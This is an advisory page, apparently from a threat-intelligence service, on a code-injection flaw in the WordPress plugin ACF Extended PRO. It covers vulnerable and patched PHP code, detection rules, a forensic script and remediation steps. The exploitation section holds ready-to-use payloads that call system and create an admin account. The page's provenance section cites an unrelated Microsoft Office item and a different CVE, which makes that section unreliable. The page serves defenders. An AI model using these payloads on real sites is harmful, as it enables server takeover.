CVE-2026-120534: WordPress ACF Extended PRO render_field Unauthenticated Arbitrary Function Execution & Code Injection (CVSS 9.8)
A critical vulnerability (CVSS 9.8) in Advanced Custom Fields: Extended PRO versions up to and including 0.9.2.6 allows unauthenticated remote attackers to trigger arbitrary PHP callbacks and execute system commands. The vulnerability resides within the plugin's form rendering architecture (render_field). When the non-default shortcode_preview feature is enabled or when deployed on PHP runtimes lacking OpenSSL (causing acf_decrypt to fall back to unauthenticated base64 parsing), user-supplied parameters bypass validation and are passed directly into call_user_func_array. Threat actors can invoke WordPress functions such as wp_insert_user, update_option, or arbitrary PHP functions (assert, system) to achieve full site takeover. Fixed in version 0.9.2.7. Hermes assigns a Hermes Threat Score (HTS) of 92.
HERMES THREAT SCORE & ENTERPRISE WEB CMS INTEGRITY EVALUATION
Target:WordPress ACF Extended PRO Form Engine (render_field / acf_decrypt) CVE-2026-120534: WordPress ACF Extended PRO render_field Unauthenticated Arbitrary Function Execution & Code Injection (CVSS 9.8)VULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Vulnerability Overview & Architectural Mechanics
Section titled โ1. Vulnerability Overview & Architectural MechanicsโAdvanced Custom Fields: Extended PRO (ACF Extended PRO) is a professional extension suite for Advanced Custom Fields (ACF), providing dynamic form management, bidirectionally bound post types, block preview engines, and REST schema enhancements.
To provide dynamic front-end form generation and real-time block previews, ACF Extended PRO implements an internal rendering pipeline in includes/fields/field-form.php and includes/modules/form/form-render.php. When rendering fields, the plugin dynamically resolves callback handlers (such as custom validation, formatters, and rendering filters) based on the serialized configuration attributes of the form field.
2. Root Cause Analysis & Code Breakdown
Section titled โ2. Root Cause Analysis & Code BreakdownโThe vulnerability stems from an unsafe call to call_user_func_array where both the callback function and its argument list can be influenced by unverified client-supplied form state (CWE-94).
<?php// Vulnerable Implementation: acf-extended-pro/includes/modules/form/form-render.php (<= 0.9.2.6)class acfe_form_render { public function render_field($field) { // If preview mode is activated or passed in HTTP payload: if (!empty($_POST['acfe_form_preview']) || !empty($field['shortcode_preview'])) { $raw_config = $_POST['acfe_field_config'] ?? '';
// Decryption fallback: if OpenSSL is unavailable, uses unverified base64 decode! $config = $this->decrypt_config($raw_config);
if (is_array($config) && isset($config['render_callback'])) { $callback = $config['render_callback']; $args = $config['callback_args'] ?? array();
// FLAW: No allowlist verification on $callback or $args // Arbitrary PHP function execution! return call_user_func_array($callback, (array)$args); } }
// Standard safe field rendering... return $this->default_render($field); }
private function decrypt_config($data) { if (function_exists('openssl_decrypt') && !empty($this->secret_key)) { return json_decode(openssl_decrypt($data, 'AES-256-CBC', $this->secret_key), true); } // Fallback flaw: insecure raw decoding return json_decode(base64_decode($data), true); }}?>Exploitation Mechanics
Section titled โExploitation Mechanicsโ- Callback Hijacking: An attacker crafts an HTTP POST request targeting any page embedding an ACF Extended form.
- Payload Delivery: By submitting
acfe_form_preview=1and a base64-encoded JSON blob inacfe_field_config:{"render_callback": "system","callback_args": ["id && whoami"]} - Alternatively, targeting WordPress internal functions:
{"render_callback": "wp_create_user","callback_args": ["hacked_admin", "ComplexPassword123!", "attacker@domain.tld"]}
- Execution: The server invokes
call_user_func_array("system", ["id && whoami"]), executing shell commands in the context ofwww-data/nginxand returning the command output directly in the HTTP response.
The Fix in Version 0.9.2.7
Section titled โThe Fix in Version 0.9.2.7โIn version 0.9.2.7, the vendor implemented cryptographic MAC verification (HMAC-SHA256) regardless of environment fallbacks, removed dynamic callback execution from user-submittable fields, and restricted callbacks to an immutable allowlist:
<?php// Patched Implementation: acf-extended-pro (0.9.2.7)public function render_field($field) { if (!empty($_POST['acfe_form_preview'])) { // Enforce administrative capability for previews if (!current_user_can('edit_theme_options')) { wp_die('Unauthorized preview request'); } }
// Callbacks strictly restricted to predefined safe class methods $allowed_callbacks = array( 'acfe_render_default_field', 'acfe_render_custom_html', 'acfe_render_recaptcha' );
if (isset($config['render_callback']) && in_array($config['render_callback'], $allowed_callbacks, true)) { return call_user_func_array($config['render_callback'], $safe_args); }}?>3. Attack Vector & Kill Chain
Section titled โ3. Attack Vector & Kill ChainโsequenceDiagram autonumber actor Attacker as Unauthenticated Remote Attacker participant Web as WordPress Web Server (Nginx / Apache) participant ACF as ACF Extended PRO (render_field) participant WP as WordPress Core Runtime participant DB as MySQL / MariaDB Database
Attacker->>Web: POST /wp-admin/admin-ajax.php?action=acfe/form/render_field Note over Attacker,Web: POST Body: acfe_form_preview=1&acfe_field_config=eyJyZW5kZXJfY2FsbGJhY2siOiJzeXN0ZW0iLCJjYWxsYmFja19hcmdzIjpbImlkIl19 Web->>ACF: Passes POST variables to render_field() ACF->>ACF: decrypt_config() decodes base64 JSON payload ACF->>WP: call_user_func_array("system", ["id"]) WP-->>ACF: Returns command execution output (uid=33(www-data)...) ACF-->>Web: Embeds output in AJAX response Web-->>Attacker: 200 OK with command output & full server compromise4. Forensic Investigation & Threat Hunting
Section titled โ4. Forensic Investigation & Threat HuntingโSigma Rule: Detection of ACF Extended Parameter Tampering & Function Injection
Section titled โSigma Rule: Detection of ACF Extended Parameter Tampering & Function Injectionโtitle: ACF Extended PRO Unauthenticated Function Execution Attemptid: 4d1e7c89-9a12-4211-85bc-309101230534status: experimentaldescription: Detects HTTP requests containing suspicious serialized configurations or callback function injection targeting ACF Extended PRO.references: - https://nvd.nist.gov/vuln/detail/CVE-2026-120534 - https://patchstack.com/database/vulnerability/acf-extended-pro/wordpress-acf-extended-pro-plugin-code-injectionauthor: Hermes Codex Cyber Threat Intelligencedate: 2026-11-04logsource: category: webserverdetection: selection_post: cs-method: 'POST' selection_params: cs-uri-query|contains: - 'acfe_form_preview' - 'render_field' cs-body|contains: - 'render_callback' - 'call_user_func' - 'system' - 'passthru' - 'exec' - 'wp_create_user' condition: selection_post and selection_paramsfields: - c-ip - cs-method - cs-uri-stem - cs-uri-queryfalsepositives: - Authorized theme developers editing forms within the authenticated wp-admin interface.level: critical// Azure Sentinel / Microsoft Sentinel WAF Log Hunting Query// Detects unauthenticated POST requests invoking ACF Extended preview routines with base64 blobsW3CIISLog| where TimeGenerated >= ago(24h)| where csMethod == "POST"| where csUriQuery has "acfe" or csUriStem has "admin-ajax.php"| where csCookie !has "wordpress_logged_in"| where csBytes > 1000| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, csUserAgent, scStatus| order by TimeGenerated desc#!/usr/bin/env bash# WP-CLI Forensic Audit: Check plugin version and newly created administrative accountsecho "[*] Auditing ACF Extended PRO version..."wp plugin get acf-extended-pro --field=version --path=/var/www/html
echo "[*] Checking for recently created administrator accounts in the last 48 hours..."wp user list --role=administrator --fields=ID,user_login,user_email,user_registered --path=/var/www/html | awk '$4 >= "'$(date -d "2 days ago" +%Y-%m-%d)'"'
echo "[*] Scanning uploads directory for newly generated PHP webshells..."find /var/www/html/wp-content/uploads/ -type f -name "*.php" -ls5. Remediation Strategy & Mitigation Guidance
Section titled โ5. Remediation Strategy & Mitigation Guidanceโ- Update Plugin Immediately: Upgrade Advanced Custom Fields: Extended PRO to version
0.9.2.7or newer via the WordPress administrative dashboard or WP-CLI (wp plugin update acf-extended-pro). - Disable Shortcode Previews: If patching cannot be immediately completed, disable
shortcode_previewacross all ACF form definitions infunctions.phpby filteringadd_filter('acfe/form/preview', '__return_false');. - Verify OpenSSL Availability: Confirm that the host PHP runtime has the
opensslextension loaded (php -m | grep openssl) to ensure encryption fallbacks to base64 are never triggered. - Audit User Accounts & Webshells: Inspect
wp_usersfor unauthorized administrator additions and verify the integrity of theme directories against Git or clean backups.